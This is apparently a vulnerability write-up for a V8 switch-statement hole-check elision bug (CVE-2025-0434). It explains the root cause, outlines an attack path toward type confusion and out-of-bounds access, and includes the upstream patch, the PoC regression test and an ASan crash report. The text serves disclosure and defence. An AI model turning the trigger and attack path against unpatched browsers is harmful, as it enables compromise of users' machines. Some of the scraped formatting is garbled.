CVE-2025-0434
Overview
Background
- Temporal Dead Zone (TDZ)
- the region in which a
let/constbinding, includingthisin a derived-class constructor beforesuper(), still holds the hole sentinel so any read must be guarded by a hole check that throwsReferenceError. - `HoleCheckElisionScope`
- an RAII scope in
bytecode-generator.ccthat marks a region where a binding is provably initialized so the generator may omit otherwise-redundant hole checks. - Switch jump table
- a
jump_tabledispatch structure that maps small-integer discriminants straight to case bodies, leaving any non-integercaselabels to be tested afterward by conditionally executed comparison jumps. - Comparison jump
- a bytecode sequence emitted per remaining
caselabel that evaluates the label withVisitForAccumulatorValueand performsswitch_builder.JumpToCaseIfTrue, counted byn_comp_cases.
Root Cause Analysis
When a switch compiles to a jump_table plus one or more comparison jumps (use_jumps), the generator opened a HoleCheckElisionScope for the comparison labels using the flag first_jump_emitted, on the assumption that the first non-default label is unconditionally executed and therefore only the second and later labels needed their own elision scope. That assumption is false in the presence of a jump_table: the first comparison jump is itself only reached when the discriminant was not matched by the jump table, so it is conditionally executed and its label expression must not be treated as linearly dominating. Because no elision scope was opened for that first conditional comparison, a hole check on a TDZ binding evaluated inside the label (for example case this: before super()) was incorrectly elided, so the uninitialized hole value passed through without the ReferenceError guard.
The fix introduces jump_comparison_needs_hole_check_elision_scope, which is set to true whenever a jump_table is in use (and again after each comparison jump is emitted), and opens elider before the first such conditional comparison. This restores the invariant that any conditionally executed label evaluation runs under a HoleCheckElisionScope, so hole checks are preserved and the TDZ read throws as required.
first_jump_emitted to decide elision scoping, which wrongly assumed the first comparison label is unconditionally executed even when a jump_table makes it conditional; the fix replaces that with jump_comparison_needs_hole_check_elision_scope, seeded true when a jump table exists, so the first conditional comparison gets its own scope.Attack Path
- Craft a mixed switch
In a derived-class constructor, before
super()runs, write aswitchwhose small-integercase 0..9labels form ajump_tableand whose finalcase this:requires a comparison jump. - Force the jump-table path
Because the integer cases populate
jump_table, thecase this:label is compiled as the first comparison jump, which is only reachable when the discriminant misses the table and is therefore conditionally executed. - Trigger the missing scope
With the buggy
first_jump_emittedlogic noHoleCheckElisionScopeis opened for that first conditional comparison, so the generator elides the hole check onthis, which is still the TDZ hole. - Bypass the ReferenceError
Evaluating
case this:reads the uninitializedthisbinding without throwing, leaking the hole sentinel into the interpreter as if it were a valid object value. - Reach OOB/type confusion
Subsequent operations treat the hole sentinel as a real value, producing out-of-bounds memory access in V8 (the test
regress-374627491.jsinstead asserts the corrected behavior, a thrownReferenceError).
Impact Assessment
switch that combines a jump-table-eligible set of integer cases with a comparison-jump case that reads a TDZ binding such as this before super(). No special privileges or user interaction are required beyond loading the malicious page.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/interpreter/bytecode-generator.cc |
modified | |
Btest/mjsunit/regress/regress-374627491.js |
modified | |
Ctest/mjsunit/regress/regress-374627491.js |
modified | |
constructortest/mjsunit/regress/regress-374627491.js |
modified | |
switchtest/mjsunit/regress/regress-374627491.js |
modified |
Files Changed
src/interpreter/bytecode-generator.cctest/mjsunit/regress/regress-374627491.js
Audit Directions
- Conditional dominance assumptionsReview every
HoleCheckElisionScopeplacement that keys off “first iteration” or “unconditionally executed” flags, since a precedingjump_tableor other early-exit dispatch can make the supposedly-dominating branch conditional. - Jump-table plus comparison mixesAudit other
bytecode-generator.cccontrol-flow lowerings that combine a table dispatch with fall-through comparison jumps to confirm each conditionally reached expression is evaluated under a proper elision scope. - TDZ binding reads in labels/subexpressionsLook for places where
let/constorthisbindings are read insidecaselabels, default expressions, or other conditionally emitted code, verifying that hole checks are not elided across a non-dominating boundary.
Patch
From 5c3b50c26c50e68dbedf8ff991249e75e46ef06e Mon Sep 17 00:00:00 2001 From: Shu-yu Guo <[email protected]> Date: Mon, 18 Nov 2024 16:02:28 -0800 Subject: [PATCH] [interpreter] Fix hole elision scope for switch jump tables Fixed: 374627491 Change-Id: I7b6142b45295ba795a8ae8a90692fc09e704b65d Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/6032225 Reviewed-by: Leszek Swirski <[email protected]> Commit-Queue: Shu-yu Guo <[email protected]> Cr-Commit-Position: refs/heads/main@{#97274} --- diff --git a/src/interpreter/bytecode-generator.cc b/src/interpreter/bytecode-generator.cc index 7912eba..9e22967 100644 --- a/src/interpreter/bytecode-generator.cc +++ b/src/interpreter/bytecode-generator.cc @@ -2526,6 +2526,9 @@ // Are we still using any if-else bytecodes to evaluate the switch? bool use_jumps = n_comp_cases != 0; + // Does the comparison for non-jump table jumps need an elision scope? + bool jump_comparison_needs_hole_check_elision_scope = false; + SwitchBuilder switch_builder(builder(), block_coverage_builder_, stmt, n_comp_cases, jump_table); ControlScopeForBreakable scope(this, stmt, &switch_builder); @@ -2583,6 +2586,10 @@ info.covered_cases); if (use_jumps) { + // When using a jump table, the first jump comparison is conditionally + // executed if the discriminant wasn't matched by anything in the jump + // table, and so needs its own elision scope. + jump_comparison_needs_hole_check_elision_scope = true; builder()->LoadAccumulatorWithRegister(r1); } } @@ -2603,16 +2610,14 @@ // The comparisons linearly dominate, so no need to open a new elision // scope for each one. std::optional<HoleCheckElisionScope> elider; - bool first_jump_emitted = false; for (int i = 0; i < clauses->length(); ++i) { CaseClause* clause = clauses->at(i); if (clause->is_default()) { info.default_case = i; } else if (!info.CaseExists(clause->label())) { - // The first non-default label is - // unconditionally executed, so we only need to emplace it before - // visiting the second non-default label. - if (first_jump_emitted) elider.emplace(this); + if (jump_comparison_needs_hole_check_elision_scope && !elider) { + elider.emplace(this); + } // Perform label comparison as if via '===' with tag. VisitForAccumulatorValue(clause->label()); @@ -2623,7 +2628,9 @@ #endif switch_builder.JumpToCaseIfTrue(ToBooleanMode::kAlreadyBoolean, case_compare_ctr++); - first_jump_emitted = true; + // The second and subsequent non-default comparisons are always + // conditionally executed, and need an elision scope. + jump_comparison_needs_hole_check_elision_scope = true; } } } diff --git a/test/mjsunit/regress/regress-374627491.js b/test/mjsunit/regress/regress-374627491.js new file mode 100644 index 0000000..ebb7e1d --- /dev/null +++ b/test/mjsunit/regress/regress-374627491.js @@ -0,0 +1,26 @@ +// Copyright 2024 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +class B { } +class C extends B { + constructor() { + let x = 0; + switch (0) { + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + x += this; + break; + case this: + } + } +} +assertThrows(() => { new C(); }, ReferenceError);
Regression Test / PoC
diff --git a/test/mjsunit/regress/regress-374627491.js b/test/mjsunit/regress/regress-374627491.js
new file mode 100644
index 0000000..ebb7e1d
--- /dev/null
+++ b/test/mjsunit/regress/regress-374627491.js
@@ -0,0 +1,26 @@
+// Copyright 2024 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+class B { }
+class C extends B {
+ constructor() {
+ let x = 0;
+ switch (0) {
+ case 0:
+ case 1:
+ case 2:
+ case 3:
+ case 4:
+ case 5:
+ case 6:
+ case 7:
+ case 8:
+ case 9:
+ x += this;
+ break;
+ case this:
+ }
+ }
+}
+assertThrows(() => { new C(); }, ReferenceError);
Original Bug Report
DCHECK failure in Handle<To> v8::internal::Cast(Handle<From>, const v8::SourceLocation &) [To = v8
Steps to reproduce the problem
- download d8-asan-linux-debug-v8-component-96641
- unzip that
- run d8 ./poc.js
Problem Description
#
# Fatal error in ../../src/objects/objects.cc, line 353
# Debug check failed: Handle<To> v8::internal::Cast(Handle<From>, const v8::SourceLocation &) [To = v8::internal::JSReceiver, From = v8::internal::Object].
#
#
#
#FailureMessage Object: 0x7bc62e2f9c60
==== C stack trace ===============================
./google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/d8(__interceptor_backtrace+0x46) [0x55cbd91b17a6]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7fc6317c8573]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8_libplatform.so(+0x3687a) [0x7fc63171c87a]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x2a0) [0x7fc631792c80]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8_libbase.so(+0x56d3f) [0x7fc631791d3f]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8.so(v8::internal::Handle<v8::internal::JSReceiver> v8::internal::Cast<v8::internal::JSReceiver, v8::internal::Object>(v8::internal::Handle<v8::internal::Object>, v8::SourceLocation const&)+0x1b2) [0x7fc635ba53f2]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8.so(v8::internal::Object::ConvertToNumeric(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>)+0x1ba) [0x7fc637bd9dba]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8.so(v8::internal::Object::ToNumeric(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>)+0x3d1) [0x7fc635aacda1]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8.so(+0x6acfa0d) [0x7fc6382b3a0d]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8.so(v8::internal::Runtime_ToNumeric(int, unsigned long*, v8::internal::Isolate*)+0x1da) [0x7fc6382b315a]
/root/google-cloud-sdk/d8-asan-linux-debug-v8-component-96641/libv8.so(+0x3a58afd) [0x7fc63523cafd]
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1914346==ERROR: AddressSanitizer: TRAP on unknown address 0x000000000000 (pc 0x7fc6317c3690 bp 0x7ffe27e76810 sp 0x7ffe27e76810 T0)
SCARINESS: 10 (signal)
#0 0x7fc6317c3690 in v8::base::OS::Abort() src/base/platform/platform-posix.cc:730:7
#1 0x7fc631792c9b in V8_Fatal(char const*, int, char const*, ...) src/base/logging.cc:215:3
#2 0x7fc631791d3e in v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) src/base/logging.cc:59:3
#3 0x7fc635ba53f1 in v8::internal::Handle<v8::internal::JSReceiver> v8::internal::Cast<v8::internal::JSReceiver, v8::internal::Object>(v8::internal::Handle<v8::internal::Object>, v8::SourceLocation const&) src/handles/handles-inl.h:50:3
#4 0x7fc637bd9db9 in v8::internal::Object::ConvertToNumeric(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>) src/objects/objects.cc:350:5
#5 0x7fc635aacda0 in v8::internal::Object::ToNumeric(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>) src/objects/objects-inl.h:816:10
#6 0x7fc6382b3a0c in v8::internal::__RT_impl_Runtime_ToNumeric(v8::internal::Arguments<(v8::internal::ArgumentsType)0>, v8::internal::Isolate*) src/runtime/runtime-object.cc:1231:3
#7 0x7fc6382b3159 in v8::internal::Runtime_ToNumeric(int, unsigned long*, v8::internal::Isolate*) src/runtime/runtime-object.cc:1227:1
#8 0x7fc63523cafc in Builtins_CEntry_Return1_ArgvOnStack_NoBuiltinExit setup-isolate-deserialize.cc
#9 0x7fc635454701 in Builtins_NonNumberToNumeric setup-isolate-deserialize.cc
#10 0x7fc6358490d4 in Builtins_ShiftRightLogicalHandler setup-isolate-deserialize.cc
#11 0x7fc634e5754e in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
#12 0x7fc634e58162 in Builtins_InterpreterPushArgsThenFastConstructFunction setup-isolate-deserialize.cc
#13 0x7fc63587725c in Builtins_ConstructHandler setup-isolate-deserialize.cc
#14 0x7fc634e5754e in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
#15 0x7fc634e4e5db in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
#16 0x7fc634e4e31e in Builtins_JSEntry setup-isolate-deserialize.cc
#17 0x7fc63659536a in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/simulator.h:191:12
#18 0x7fc63659903c in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::Handle<v8::internal::JSFunction>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) src/execution/execution.cc:517:10
#19 0x7fc635a5b263 in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:2140:7
#20 0x55cbd927e335 in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*)
Summary
Type Confusion in ConvertToNumeric
Custom Questions
Type of crash:
tab
Additional Data
Category: Security
Chrome Channel: Not sure
Regression: N/A